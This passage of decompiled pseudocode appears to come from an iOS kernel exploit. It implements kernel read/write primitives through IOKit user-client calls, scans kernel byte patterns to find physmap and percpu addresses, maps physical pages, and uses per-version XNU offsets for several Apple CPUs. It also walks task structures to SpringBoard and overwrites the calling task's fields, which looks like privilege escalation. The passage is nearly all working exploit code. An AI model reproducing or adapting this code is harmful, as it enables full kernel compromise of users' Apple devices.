                  v18 = 528;
                if ( (unsigned int)v15 >= v18 )
                  LODWORD(v15) = v18;
                v5 = necp_semaphore_kread(a1, v14, (char *)(a3 + v13), v15);
                goto LABEL_29;
              }
LABEL_26:
              v19 = 0;
              goto LABEL_27;
            }
LABEL_61:
            v5 = 0;
LABEL_62:
            if ( a5 )
              fd_close(v39);
          }
        }
      }
    }
  }
  return v5;
}

//----- (00000000000271B0) ----------------------------------------------------
__int64 __fastcall ioconnect_callmethod_write(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5)
{
  __int64 v5; // x19
  __int64 v12; // x0
  unsigned int v13; // w27
  unsigned __int64 v14; // x8
  unsigned __int64 v15; // x9
  unsigned int v16; // w28
  size_t v17; // x26
  unsigned __int64 v18; // x25
  __int64 v19; // x0
  mach_port_t v20; // w0
  __int64 v21; // x8
  uint64_t v22; // x9
  __int64 v23; // x8
  __int64 v24; // x10
  __int64 v25; // x26
  kern_return_t v26; // w0
  __int64 v27; // x8
  __int64 v28; // x8
  __int64 v29; // x9
  uint64_t v30; // [xsp+10h] [xbp-80h] BYREF
  int v31; // [xsp+1Ch] [xbp-74h] BYREF
  uint64_t input[3]; // [xsp+20h] [xbp-70h] BYREF

  v5 = 708609;
  if ( (unsigned int)(*(uint32_t *)(a1 + 232) + 1) >= 2
    && *(uint64_t *)(a1 + 248)
    && *(uint64_t *)(a1 + 256)
    && check_kaddr_in_physmap((struct_krwCtx *)a1, a2) )
  {
    v31 = -1;
    if ( !a5 || (v12 = fd_open_dev_null(&v31), !(uint32_t)v12) )
    {
      if ( a4 )
      {
        v13 = 0;
        while ( 1 )
        {
          v14 = a4 - v13;
          v30 = 0;
          v15 = a2 + v13;
          if ( (unsigned int)v14 >= 8 )
            v16 = 0;
          else
            v16 = (((v15 + (unsigned int)v14 - 1) ^ (v15 + 7)) & ~*(uint64_t *)(a1 + 392)) != 0 ? 8 - v14 : 0;
          v17 = 8 - (unsigned __int64)v16 >= v14 ? a4 - v13 : 8LL - v16;
          v18 = v15 - v16;
          if ( v17 <= 7 )
          {
            v19 = kreadbuf_via_IOConnectCallMethod(a1, v15 - v16, (__int64)&v30, 8u, 0);
            if ( (uint32_t)v19 )
              break;
          }
          memcpy((char *)&v30 + v16, (const void *)(a3 + v13), v17);
          v20 = *(uint32_t *)(a1 + 232);
          if ( v20 + 1 < 2 )
            goto LABEL_35;
          v21 = *(uint64_t *)(a1 + 248);
          if ( !v21 || !*(uint64_t *)(a1 + 256) )
            goto LABEL_35;
          v22 = v30;
          v23 = *(uint64_t *)(a1 + 264) + v21;
          v24 = 864;
          if ( *(int *)(a1 + 320) > 8791 )
            v24 = 872;
          v25 = *(uint64_t *)(v23 + v24);
          *(uint64_t *)(v23 + v24) = v18;
          input[0] = *(unsigned int *)(a1 + 272);
          input[1] = 0;
          input[2] = v22;
          v26 = IOConnectCallMethod(v20, 0x21u, input, 3u, 0, 0, 0, 0, 0, 0);
          v27 = *(uint64_t *)(a1 + 248);
          if ( !v27 || !*(uint64_t *)(a1 + 256) )
          {
            if ( !v26 )
              goto LABEL_35;
LABEL_33:
            v5 = v26 | 0x80000000;
            goto LABEL_35;
          }
          v28 = *(uint64_t *)(a1 + 264) + v27;
          v29 = 864;
          if ( *(int *)(a1 + 320) > 8791 )
            v29 = 872;
          *(uint64_t *)(v28 + v29) = v25;
          if ( v26 )
            goto LABEL_33;
          v13 = v13 - v16 + 8;
          if ( v13 >= a4 )
            goto LABEL_31;
        }
        v5 = v19;
      }
      else
      {
LABEL_31:
        v5 = 0;
      }
LABEL_35:
      if ( a5 )
        fd_close(v31);
      return v5;
    }
    return v12;
  }
  return v5;
}

//----- (0000000000027414) ----------------------------------------------------
__int64 __fastcall physmap_maybe(__int64 a1, vm_address_t *address, vm_size_t size, __int64 paddr)
{
  kern_return_t v4; // w0

  v4 = vm_map(mach_task_self_, address, size, 0, 1, *(uint32_t *)(a1 + 88), paddr & ~*(uint64_t *)(a1 + 392), 0, 3, 3, 2u);
  if ( v4 )
    return v4 | 0x80000000;
  else
    return 0;
}

//----- (0000000000027478) ----------------------------------------------------
__int64 __fastcall cleanup_ioconnect_resources(__int64 a1)
{
  io_object_t v2; // w0
  vm_address_t v3; // x1
  vm_size_t v4; // x2
  mach_port_name_t v5; // w1

  v2 = *(uint32_t *)(a1 + 92);
  if ( v2 + 1 >= 2 )
  {
    IOObjectRelease(v2);
    *(uint32_t *)(a1 + 92) = 0;
  }
  v3 = *(uint64_t *)(a1 + 96);
  if ( v3 )
  {
    v4 = *(uint64_t *)(a1 + 104);
    if ( v4 )
    {
      vm_deallocate(mach_task_self_, v3, v4);
      *(uint64_t *)(a1 + 96) = 0;
      *(uint64_t *)(a1 + 104) = 0;
    }
  }
  *(uint64_t *)(a1 + 112) = 0;
  *(uint64_t *)(a1 + 120) = 0;
  v5 = *(uint32_t *)(a1 + 88);
  if ( v5 + 1 >= 2 )
  {
    mach_port_deallocate(mach_task_self_, v5);
    *(uint32_t *)(a1 + 88) = 0;
  }
  return 0;
}

//----- (0000000000027504) ----------------------------------------------------
__int64 __fastcall setup_physmap_krw(__int64 a1, char a2)
{
  enum
  {
    ERR_BAD_INPUT = 708609,
    ERR_NOT_FOUND = 708625,
    ERR_BAD_BRANCH = 708628,
    ERR_KREAD = 163855,
    ERR_INVALID_KADDR = 163878,
  };
  SearchObj textRange; // [xsp+28h] [xbp-68h] BYREF
  SearchObj scanRange; // [xsp+10h] [xbp-80h] BYREF
  uint64_t physmapEndKaddr; // [xsp+8h] [xbp-88h] BYREF
  uint64_t percpuGlobalValue;

  if ( !*(uint64_t *)(a1 + 128) || !*(uint32_t *)(a1 + 136) )
  {
    if ( (a2 & 1) != 0 )
      return ERR_BAD_INPUT;

    macho_find_text_section(*(uint64_t *)(a1 + 6648), &textRange.field_0x00);
    textRange.base_ptr += textRange.size - 0x20000;
    textRange.size = 0x20000;
    scanRange = textRange;

    uint64_t patternHit = kernel_pattern_scan(&scanRange, "88 91 00 B9 9F 0D 00 B9", 0);
    if ( !patternHit )
      return ERR_NOT_FOUND;

    uint64_t firstGlobalRef = 0;
    uint64_t secondGlobalRef = 0;
    for ( int64_t off = -4; off < 0xFC; off += 4 )
    {
      uint32_t adrpInsn = macho_read_u32(*(__int64 **)(a1 + 6648), (__int64 *)(patternHit + off + 4));
      uint32_t ldrInsn = macho_read_u32(*(__int64 **)(a1 + 6648), (__int64 *)(patternHit + off + 8));
      if ( (adrpInsn & 0x9F000000) != 0x90000000 || (ldrInsn & 0xBFC00000) != 0xB9400000 )
        continue;

      uint64_t globalRef = find_kernel_func(*(__int64 **)(a1 + 6648), (__int64 *)(patternHit + off + 4));
      if ( !globalRef )
        return ERR_NOT_FOUND;
      if ( firstGlobalRef )
      {
        secondGlobalRef = globalRef;
        break;
      }
      firstGlobalRef = globalRef;
    }
    if ( !secondGlobalRef )
      return ERR_NOT_FOUND;

    if ( !kread_physmap_decorated((struct_krwCtx *)a1, firstGlobalRef, &scanRange.field_0x00) )
      return ERR_KREAD;
    uint64_t physmapBaseKaddr = scanRange.field_0x00;
    if ( !validate_kaddr_range(a1, physmapBaseKaddr) )
      return ERR_INVALID_KADDR;
    if ( !kread_physmap_decorated((struct_krwCtx *)a1, secondGlobalRef, &physmapEndKaddr) )
      return ERR_KREAD;
    if ( !validate_kaddr_range(a1, physmapEndKaddr) )
      return ERR_INVALID_KADDR;

    uint64_t physmapBasePhys = kaddr_to_phys_v1(a1, physmapBaseKaddr);
    if ( !physmapBasePhys )
      return ERR_INVALID_KADDR;

    *(uint64_t *)(a1 + 128) = physmapBasePhys;
    *(uint32_t *)(a1 + 136) = (uint32_t)(physmapEndKaddr - physmapBaseKaddr);
  }

  if ( *(uint64_t *)(a1 + 160) && *(uint32_t *)(a1 + 168) )
    return 0;
  if ( (a2 & 1) != 0 )
    return ERR_BAD_INPUT;

  macho_getsectbyname("__DATA", *(uint64_t *)(a1 + 6648), "__percpu", &textRange.field_0x00);
  uint64_t percpuBase = textRange.base_ptr;
  uint32_t percpuSize = (uint32_t)textRange.size;
  if ( !percpuBase || !percpuSize )
    return ERR_NOT_FOUND;

  macho_find_text_section(*(uint64_t *)(a1 + 6648), &textRange.field_0x00);
  if ( !textRange.base_ptr || !textRange.size )
    return ERR_NOT_FOUND;
  textRange.base_ptr += textRange.size - 0x20000;
  textRange.size = 0x20000;

  uint64_t percpuPattern = kernel_pattern_scan(&textRange, ".. 02 00 F9 E1 03 13 AA", 0);
  if ( !percpuPattern )
    return ERR_NOT_FOUND;
  uint64_t percpuGlobalRef = find_kernel_func_by_branch(*(__int64 **)(a1 + 6648), (__int64 *)(percpuPattern - 8), 0);
  if ( !percpuGlobalRef )
    return ERR_BAD_BRANCH;

  if ( !kread64_internal(a1, percpuGlobalRef, &percpuGlobalValue) )
    return ERR_KREAD;

  uint64_t percpuKaddr = percpuGlobalValue + percpuBase;
  if ( !validate_kaddr_range(a1, percpuKaddr) )
    return ERR_INVALID_KADDR;

  uint64_t percpuPhys = kaddr_to_phys_v1(a1, percpuKaddr);
  if ( !percpuPhys )
    return ERR_INVALID_KADDR;

  uint32_t pageMask = *(uint32_t *)(a1 + 392);
  *(uint64_t *)(a1 + 160) = percpuPhys;
  *(uint32_t *)(a1 + 168) = (pageMask + percpuSize) & ~pageMask;
  return 0;
}

//----- (0000000000027808) ----------------------------------------------------
__int64 __fastcall krw_read_validation(__int64 a1, char a2)
{
  enum
  {
    ERR_ALLOC = 708617,
    ERR_BAD_CPU = 708628,
    ERR_THREAD_PORT = 163848,
    ERR_INVALID_KADDR = 163878,
    ERR_UNSUPPORTED_XNU = 163884,
    ERR_TIMEOUT = 2147483697,
  };
  vm_size_t v4; // x19
  __int64 v6; // x21
  unsigned int v10; // w27
  kern_return_t v11; // w0
  int v12; // w8
  unsigned __int64 v13; // x21
  bool v14; // zf
  int v15; // w8
  int v16; // w9
  void *(__cdecl *v17)(void *); // x0
  int v18; // w0
  int v19; // w8
  int v20; // w26
  unsigned int v21; // w24
  mach_port_t v22; // w0
  mach_port_t v23; // w26
  unsigned __int64 v24; // x0
  unsigned __int64 v25; // x0
  __int64 v26; // x27
  semaphore_t v27; // w25
  int v29; // w25
  __int64 v30; // x28
  __int64 v31; // x3
  vm_size_t v32; // x22
  __int64 v33; // x0
  void *v34; // x23
  void *v35; // x0
  int v36; // w8
  char *v37; // x9
  int v38; // w10
  char *v39; // x11
  __int64 v40; // x12
  char *v41; // x24
  kern_return_t v42; // w0
  int v43; // w9
  size_t v44; // x25
  int v45; // w0
  int v46; // w8
  unsigned int v47; // w8
  void *v48; // x0
  uint64_t v49; // x8
  _opaque_pthread_t *v50; // x0
  mach_port_t v51; // w0
  semaphore_t v52; // w8
  __int64 v53; // x28
  unsigned int v54; // w28
  __int64 v55; // x8
  unsigned __int64 v56; // x8
  __int64 v57; // x27
  unsigned __int64 v58; // x25
  pthread_t *v59; // x28
  void *(__cdecl *v60)(void *); // x0
  int v61; // w0
  int v62; // w0
  unsigned int v63; // w8
  unsigned __int64 v64; // x21
  __int64 v65; // x9
  _opaque_pthread_t *v66; // x0
  int v67; // w0
  int v68; // w8
  int v69; // w8
  int v70; // w8
  int v71; // w26
  pthread_t *v72; // x0
  unsigned int v73; // w9
  unsigned __int64 v74; // x28
  vm_address_t v75; // x1
  vm_size_t v76; // x2
  __int64 *v78; // x22
  unsigned int v79; // [xsp+4h] [xbp-7Ch]
  uint64_t v80; // [xsp+8h] [xbp-78h]
  unsigned int v81; // [xsp+10h] [xbp-70h]
  vm_address_t address; // [xsp+18h] [xbp-68h] BYREF
  pthread_t v83; // [xsp+20h] [xbp-60h] BYREF
  semaphore_t semaphore; // [xsp+2Ch] [xbp-54h] BYREF

  address = 0;
  v4 = vm_page_size;
  uint32_t xnuMajor = *(uint32_t *)(a1 + 320);
  v6 = ERR_UNSUPPORTED_XNU;
  switch ( xnuMajor )
  {
    case 7195:
    case 8019:
    case 8020:
    case 8792:
    case 8796:
    case 10002:
      break;
    default:
      return v6;
  }
  if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A17) )
  {
    v10 = 264;
  }
  else
  {
    v10 = 184;
    if ( !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A12_TO_A17_OR_SELF_TASK_PORT_MASK) )
    {
      if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A11) )
        v10 = 184;
      else
        v10 = 256;
    }
  }
  if ( *(uint64_t *)(a1 + 48) && (a2 & 1) == 0 )
  {
    v83 = 0;
    semaphore = 0;
    v11 = semaphore_create(mach_task_self_, &semaphore, 0, 0);
    if ( v11 )
    {
      v6 = v11 | 0x80000000;
    }
    else
    {
      v17 = (void *(__cdecl *)(void *))nullsub_1(semaphore_wait_wrapper);
      v18 = pthread_create(&v83, 0, v17, (void *)semaphore);
      if ( v18 )
      {
        if ( v18 >= 0 )
          v19 = v18;
        else
          v19 = -v18;
        v6 = v19 | 0x40000000u;
      }
      else
      {
        v22 = pthread_mach_thread_np(v83);
        if ( v22 + 1 < 2 )
        {
          v6 = ERR_THREAD_PORT;
        }
        else
        {
          v23 = v22;
          v24 = get_task_kobject_addr((struct_krwCtx *)a1, v22);
          if ( v24 )
          {
            v25 = kaddr_to_phys_v1(a1, v24 + v10);
            if ( v25 )
            {
              v26 = v25;
              v27 = semaphore;
              goto LABEL_155;
            }
          }
          v6 = ERR_INVALID_KADDR;
        }
      }
    }
    if ( semaphore + 1 >= 2 )
    {
      semaphore_signal(semaphore);
      semaphore_destroy(mach_task_self_, semaphore);
    }
    if ( v83 )
      pthread_join(v83, 0);
    goto LABEL_158;
  }
  v6 = setup_physmap_krw(a1, a2);
  if ( (uint32_t)v6 )
  {
LABEL_158:
    if ( address && v4 )
      vm_deallocate(mach_task_self_, address, v4);
    return v6;
  }
  v20 = 48;
  v12 = *(uint32_t *)(a1 + 320);
  switch ( v12 )
  {
    case 8019:
      if ( *(uint64_t *)(a1 + 344) <= XNU_VERSION_PACKED(8019, 79, 1023, 1023, 1023) )
        v21 = 9728;
      else
        v21 = 9744;
      break;
    case 8020:
      v21 = 9728;
      goto LABEL_66;
    case 8792:
      if ( krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_CPU_A11_TO_A17_OR_SELF_TASK_PORT_MASK) )
        v21 = 9952;
      else
        v21 = 9936;
      break;
    case 8796:
      v21 = 9904;
      goto LABEL_66;
    case 10002:
      v20 = 40;
      v13 = *(uint64_t *)(a1 + 344);
      v14 = !krw_ctx_has_flag((struct_krwCtx *)a1, KRW_CTX_FLAG_PAC_KERNEL_LAYOUT);
      if ( v13 < XNU_VERSION_PACKED(10002, 42, 8, 0, 0) )
      {
        v15 = 17904;
        v16 = 10160;
      }
      else
      {
        v15 = 17936;
        v16 = 10192;
      }
      if ( v14 )
        v21 = v16;
      else
        v21 = v15;
      break;
    default:
LABEL_76:
      v6 = ERR_UNSUPPORTED_XNU;
      goto LABEL_158;
  }
LABEL_66:
  v29 = number_of_cpus();
  v30 = (unsigned int)(v29 - 1);
  v31 = *(uint64_t *)(a1 + 160);
  v83 = 0;
  v32 = (unsigned int)(*(uint32_t *)(a1 + 168) * v30);
  v33 = map_physpage_with_mem_entry(a1, (vm_address_t *)&v83, v32, v31);
  if ( (uint32_t)v33 )
  {
    v6 = v33;
    v27 = 0;
    v23 = 0;
    v26 = 0;
    v34 = 0;
    goto LABEL_146;
  }
  v6 = ERR_ALLOC;
  v35 = calloc(v29, 8u);
  v34 = v35;
  if ( !v35 )
  {
LABEL_142:
    v27 = 0;
    v23 = 0;
    v26 = 0;
    goto LABEL_146;
  }
  if ( v29 != 1 )
  {
    v36 = 0;
    v37 = (char *)v83 + v21;
    v38 = *(uint32_t *)(a1 + 168);
    do
    {
      v39 = &v37[v36];
      v40 = *(unsigned __int16 *)v39;
      if ( v29 <= (int)v40 )
      {
        v27 = 0;
        v23 = 0;
        v26 = 0;
        v6 = ERR_BAD_CPU;
        goto LABEL_146;
      }
      *((uint64_t *)v35 + v40) = v39;
      v36 += v38;
      --v30;
    }
    while ( v30 );
  }
  semaphore = 0;
  v41 = (char *)calloc(1u, 0x90u);
  if ( !v41 )
  {
    v43 = 0;
    LODWORD(v44) = 0;
    goto LABEL_130;
  }
  v42 = semaphore_create(mach_task_self_, &semaphore, 0, 0);
  if ( v42 )
  {
    v43 = 0;
    LODWORD(v44) = 0;
    v6 = v42 | 0x80000000;
    goto LABEL_130;
  }
  *((uint32_t *)v41 + 4) = v29;
  *((uint32_t *)v41 + 5) = v20;
  *((uint32_t *)v41 + 31) = 0;
  *(uint64_t *)v41 = a1;
  *((uint64_t *)v41 + 1) = v34;
  *((uint32_t *)v41 + 24) = v10;
  *((uint32_t *)v41 + 34) = semaphore;
  v45 = pthread_mutex_init((pthread_mutex_t *)(v41 + 32), 0);
  if ( v45 )
  {
    v43 = 0;
    LODWORD(v44) = 0;
    if ( v45 >= 0 )
      v46 = v45;
    else
      v46 = -v45;
    v6 = v46 | 0x40000000u;
    goto LABEL_130;
  }
  v47 = 2 * number_of_cpus();
  if ( v47 <= 8 )
    v44 = 8;
  else
    v44 = v47;
  *((uint32_t *)v41 + 31) = v44;
  v48 = calloc(v44, 8u);
  *((uint64_t *)v41 + 16) = v48;
  if ( !v48 )
  {
LABEL_129:
    v43 = 1;
    goto LABEL_130;
  }
  v49 = mach_absolute_time();
  v50 = (_opaque_pthread_t *)*((uint64_t *)v41 + 13);
  v81 = v44;
  if ( v50 )
    goto LABEL_89;
  v80 = v49;
  v6 = 0;
  v54 = 2;
  do
  {
    *((uint64_t *)v41 + 3) = 0;
    if ( v54 >= (unsigned int)v44 )
      v55 = (unsigned int)v44;
    else
      v55 = v54;
    *((uint32_t *)v41 + 30) = 0;
    *((uint32_t *)v41 + 31) = v55;
    bzero(*((void **)v41 + 16), 8 * v55);
    if ( (mach_absolute_time() - v80) * *(unsigned int *)(a1 + 604) / *(unsigned int *)(a1 + 608) > 0x12A15343FLL )
    {
      v6 = ERR_TIMEOUT;
      goto LABEL_129;
    }
    LODWORD(v56) = *((uint32_t *)v41 + 31);
    if ( (uint32_t)v56 )
    {
      v79 = v54;
      v57 = 0;
      v58 = 0;
      do
      {
        v59 = (pthread_t *)(*((uint64_t *)v41 + 16) + v57);
        v60 = (void *(__cdecl *)(void *))nullsub_1(semaphore_mem_acquire_thread);
        v61 = pthread_create(v59, 0, v60, v41);
        if ( v61 )
        {
          if ( v61 >= 0 )
            v69 = v61;
          else
            v69 = -v61;
          v6 = v69 | 0x40000000u;
          goto LABEL_123;
        }
        ++v58;
        v56 = *((unsigned int *)v41 + 31);
        v57 += 8;
      }
      while ( v58 < v56 );
      LODWORD(v44) = v81;
      v54 = v79;
    }
    if ( (uint32_t)v6 )
      goto LABEL_129;
    if ( *((uint32_t *)v41 + 30) < (unsigned int)v56 )
    {
      do
        thread_switch(0, 2, 1u);
      while ( *((uint32_t *)v41 + 30) < *((uint32_t *)v41 + 31) );
    }
    v62 = pthread_mutex_lock((pthread_mutex_t *)(v41 + 32));
    if ( v62 )
      goto LABEL_124;
    v63 = *((uint32_t *)v41 + 31);
    if ( !v63 )
    {
LABEL_110:
      v6 = 0;
      goto LABEL_115;
    }
    v64 = 0;
    while ( 1 )
    {
      v65 = *((uint64_t *)v41 + 16);
      v66 = *(_opaque_pthread_t **)(v65 + 8 * v64);
      if ( v66 != *((_opaque_pthread_t **)v41 + 13) )
        break;
LABEL_109:
      *(uint64_t *)(v65 + 8 * v64++) = 0;
      if ( v64 >= v63 )
        goto LABEL_110;
    }
    v67 = pthread_join(v66, 0);
    if ( !v67 )
    {
      v65 = *((uint64_t *)v41 + 16);
      v63 = *((uint32_t *)v41 + 31);
      goto LABEL_109;
    }
    if ( v67 >= 0 )
      v68 = v67;
    else
      v68 = -v67;
    v6 = v68 | 0x40000000u;
LABEL_115:
    v62 = pthread_mutex_unlock((pthread_mutex_t *)(v41 + 32));
    if ( v62 )
    {
LABEL_124:
      if ( v62 >= 0 )
        v70 = v62;
      else
        v70 = -v62;
      v6 = v70 | 0x40000000u;
      goto LABEL_129;
    }
    v54 <<= v54 < (unsigned int)v44;
    v50 = (_opaque_pthread_t *)*((uint64_t *)v41 + 13);
  }
  while ( !v50 );
  if ( !(uint32_t)v6 )
  {
LABEL_89:
    v51 = pthread_mach_thread_np(v50);
    v6 = 0;
    v52 = semaphore;
    v53 = *((uint64_t *)v41 + 14);
    goto LABEL_134;
  }
LABEL_123:
  v43 = 1;
  LODWORD(v44) = v81;
LABEL_130:
  if ( semaphore + 1 >= 2 )
  {
    v71 = v43;
    semaphore_signal(semaphore);
    semaphore_destroy(mach_task_self_, semaphore);
    v43 = v71;
  }
  if ( !v41 )
    goto LABEL_142;
  v81 = v44;
  v52 = 0;
  v51 = 0;
  v53 = 0;
  v27 = 0;
  v23 = 0;
  v26 = 0;
  if ( v43 )
  {
LABEL_134:
    v23 = v51;
    v27 = v52;
    pthread_mutex_destroy((pthread_mutex_t *)(v41 + 32));
    v26 = v53;
  }
  v72 = (pthread_t *)*((uint64_t *)v41 + 16);
  if ( v72 )
  {
    v73 = *((uint32_t *)v41 + 31);
    if ( v73 )
    {
      v74 = 0;
      while ( 1 )
      {
        if ( v72[v74] )
        {
          pthread_join(v72[v74], 0);
          v72 = (pthread_t *)*((uint64_t *)v41 + 16);
          v73 = *((uint32_t *)v41 + 31);
        }
        v72[v74++] = 0;
        if ( v74 >= v73 )
          break;
        v72 = (pthread_t *)*((uint64_t *)v41 + 16);
      }
      v72 = (pthread_t *)*((uint64_t *)v41 + 16);
    }
    bzero(v72, 8LL * v81);
    free(*((void **)v41 + 16));
  }
  free(v41);
LABEL_146:
  v75 = *(uint64_t *)(a1 + 144);
  if ( v75 )
  {
    v76 = *(uint64_t *)(a1 + 152);
    if ( v76 )
    {
      vm_deallocate(mach_task_self_, v75, v76);
      *(uint64_t *)(a1 + 144) = 0;
      *(uint64_t *)(a1 + 152) = 0;
    }
  }
  if ( v34 )
    free(v34);
  if ( v83 && (uint32_t)v32 )
    vm_deallocate(mach_task_self_, (vm_address_t)v83, v32);
  if ( (uint32_t)v6 )
    goto LABEL_158;
LABEL_155:
  if ( *(uint64_t *)(a1 + 344) >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (*(uint8_t *)a1 & 0x20) != 0 )
  {
    v78 = 0;
  }
  else
  {
    v6 = map_physpage_with_mem_entry(a1, &address, v4, v26);
    if ( (uint32_t)v6 )
      goto LABEL_158;
    v78 = (__int64 *)((*(uint64_t *)(a1 + 392) & v26) + address);
    v6 = ERR_INVALID_KADDR;
    if ( !validate_kaddr_range(a1, *v78) )
      goto LABEL_158;
  }
  v6 = 0;
  *(uint32_t *)(a1 + 172) = v23;
  *(uint64_t *)(a1 + 176) = address;
  *(uint64_t *)(a1 + 184) = v4;
  *(uint32_t *)(a1 + 192) = *(uint32_t *)(a1 + 392) & v26;
  *(uint64_t *)(a1 + 200) = v78;
  *(uint32_t *)(a1 + 208) = v27;
  *(uint64_t *)(a1 + 216) = v26;
  return v6;
}
// 19728: using guessed type __int64 __fastcall nullsub_1(uint64_t);

//----- (00000000000280A0) ----------------------------------------------------
__int64 __fastcall map_physpage_with_mem_entry(__int64 a1, vm_address_t *a2, vm_size_t a3, __int64 a4)
{
  mem_entry_name_port_t v4; // w5
  kern_return_t v6; // w0

  v4 = *(uint32_t *)(a1 + 88);
  if ( v4 + 1 < 2 )
    return 708609;
  v6 = vm_map(mach_task_self_, a2, a3, 0, 1, v4, a4 & ~*(uint64_t *)(a1 + 392), 0, 3, 3, 2u);
  if ( v6 )
    return v6 | 0x80000000;
  else
    return 0;
}

//----- (000000000002811C) ----------------------------------------------------
__int64 __fastcall join_destroy_krw_thread(__int64 a1)
{
  mach_port_t v2; // w0
  _opaque_pthread_t *v3; // x20
  semaphore_t v4; // w0
  vm_address_t v5; // x1
  vm_size_t v6; // x2
  mach_port_name_t v7; // w1

  v2 = *(uint32_t *)(a1 + 172);
  if ( v2 + 1 >= 2 )
  {
    v3 = pthread_from_mach_thread_np(v2);
    v4 = *(uint32_t *)(a1 + 208);
    if ( v4 + 1 >= 2 )
    {
      semaphore_signal(v4);
      semaphore_destroy(mach_task_self_, *(uint32_t *)(a1 + 208));
      *(uint32_t *)(a1 + 208) = 0;
      if ( !v3 )
        goto LABEL_5;
    }
    else if ( !v3 )
    {
LABEL_5:
      *(uint32_t *)(a1 + 172) = 0;
      goto LABEL_6;
    }
    pthread_join(v3, 0);
    goto LABEL_5;
  }
LABEL_6:
  v5 = *(uint64_t *)(a1 + 176);
  if ( v5 )
  {
    v6 = *(uint64_t *)(a1 + 184);
    if ( v6 )
    {
      vm_deallocate(mach_task_self_, v5, v6);
      *(uint64_t *)(a1 + 176) = 0;
      *(uint64_t *)(a1 + 184) = 0;
    }
  }
  *(uint64_t *)(a1 + 200) = 0;
  v7 = *(uint32_t *)(a1 + 88);
  if ( v7 + 1 >= 2 )
  {
    mach_port_deallocate(mach_task_self_, v7);
    *(uint32_t *)(a1 + 88) = 0;
  }
  return 0;
}

//----- (00000000000281F0) ----------------------------------------------------
__int64 __fastcall iosurface_check_and_alloc_port(struct_krwCtx *a1)
{
  uint64_t IOKitConnInfo; // x20
  kern_return_t v4; // w0
  mach_port_name_t name; // [xsp+Ch] [xbp-14h] BYREF

  IOKitConnInfo = a1->IOKitConnInfo;
  if ( !IOKitConnInfo )
    return 708609;
  if ( (unsigned int)(*(uint32_t *)(IOKitConnInfo + 112) + 1) < 2 )
    return 0;
  name = 0;
  if ( (unsigned int)iosurface_call_struct_method_1((__int64)a1, &name) )
    return alloc_iosurface_mach_port(a1, 0x14u, *(uint32_t *)(IOKitConnInfo + 112));
  v4 = mach_port_deallocate(mach_task_self_, name);
  if ( v4 )
    return v4 | 0x80000000;
  else
    return 0;
}

//----- (0000000000028288) ----------------------------------------------------
__int64 __fastcall iosurface_call_struct_method_1(__int64 a1, mach_port_t *a2)
{
  __int64 v3; // x20
  kern_return_t v4; // w0
  size_t v6; // [xsp+0h] [xbp-70h] BYREF
  mach_port_t connection; // [xsp+Ch] [xbp-64h] BYREF
  __int128 outputStruct[4]; // [xsp+10h] [xbp-60h] BYREF

  connection = 0;
  v6 = 64;
  v3 = get_iosurface_mem_entry(a1, 0x14u, &connection);
  if ( !(uint32_t)v3 )
  {
    memset(outputStruct, 0, sizeof(outputStruct));
    v4 = IOConnectCallStructMethod(connection, 1u, 0, 0, outputStruct, &v6);
    if ( v4 )
    {
      v3 = v4 | 0x80000000;
    }
    else
    {
      v3 = 0;
      *a2 = connection;
      connection = 0;
    }
  }
  if ( connection + 1 >= 2 )
    mach_port_deallocate(mach_task_self_, connection);
  return v3;
}

//----- (0000000000028364) ----------------------------------------------------
__int64 __fastcall find_map_iosurface_memory(struct_krwCtx *a1)
{
  uint64_t v1; // x24
  __int64 v3; // x20
  unsigned __int64 v4; // x0
  __int64 v5; // x0
  unsigned __int64 v6; // x0
  unsigned __int64 v7; // x0
  unsigned __int64 v8; // x21
  __int64 v9; // x25
  const CFDictionaryRef *v10; // x0
  io_service_t MatchingService; // w0
  io_object_t v12; // w22
  kern_return_t v13; // w0
  char v15; // w27
  unsigned __int64 v16; // x0
  unsigned __int64 v17; // x22
  __int64 v18; // x0
  __int64 v19; // x21
  unsigned __int64 v20; // x1
  __int64 v21; // x0
  __int64 v22; // x0
  __int64 v23; // x23
  int v24; // w8
  __int64 v25; // x8
  int v26; // w21
  __int64 v27; // x8
  __int64 v28; // x9
  __int64 v29; // x8
  __int64 v30; // [xsp+0h] [xbp-90h] BYREF
  io_connect_t connect; // [xsp+Ch] [xbp-84h] BYREF
  __int64 v32; // [xsp+10h] [xbp-80h] BYREF
  __int64 v33; // [xsp+18h] [xbp-78h] BYREF
  __int64 v34; // [xsp+20h] [xbp-70h] BYREF
  __int64 v35; // [xsp+28h] [xbp-68h] BYREF
  __int64 v36; // [xsp+30h] [xbp-60h] BYREF
  __int64 v37; // [xsp+38h] [xbp-58h] BYREF

  v34 = 0;
  v35 = 0;
  v32 = 0;
  v33 = 0;
  connect = 0;
  v1 = a1->IOKitConnInfo;
  if ( !v1 )
  {
    v3 = 708642;
    goto LABEL_19;
  }
  if ( (unsigned int)iosurface_call_struct_method_1((__int64)a1, &connect) )
  {
    v3 = 163878;
    v37 = 0;
    v4 = lookup_or_resolve_kaddr((__int64)a1);
    if ( !v4 )
      goto LABEL_19;
    v5 = krw_task_for_name(a1, v4, "SpringBoard");
    if ( !v5 )
      goto LABEL_19;
    v6 = walk_task_kaddr_chain(a1, v5);
    if ( !v6 )
      goto LABEL_19;
    if ( !kread_physmap_decorated(a1, v6, (unsigned __int64 *)&v36) )
      goto LABEL_47;
    if ( !validate_kaddr_range((__int64)a1, v36) )
      goto LABEL_19;
    v7 = get_task_kobj_and_walk_chain(a1, mach_task_self_);
    if ( !v7 )
      goto LABEL_19;
    v8 = v7;
    if ( !kread_physmap_decorated(a1, v7, (unsigned __int64 *)&v37) )
    {
LABEL_47:
      v3 = 163855;
      goto LABEL_19;
    }
    if ( !validate_kaddr_range((__int64)a1, v37) )
      goto LABEL_19;
    if ( (v37 ^ (unsigned __int64)v36) >> 32 )
    {
      v3 = 163857;
      goto LABEL_19;
    }
    v9 = 163856;
    if ( !(unsigned int)kwritebuf_universal(a1, v8, &v36, 4) )
      goto LABEL_72;
    v10 = IOServiceMatching("IOGPU");
    MatchingService = IOServiceGetMatchingService(kIOMasterPortDefault, v10);
    if ( MatchingService + 1 < 2 )
    {
      if ( (unsigned int)kwritebuf_universal(a1, v8, &v37, 4) )
        v3 = 708625;
      else
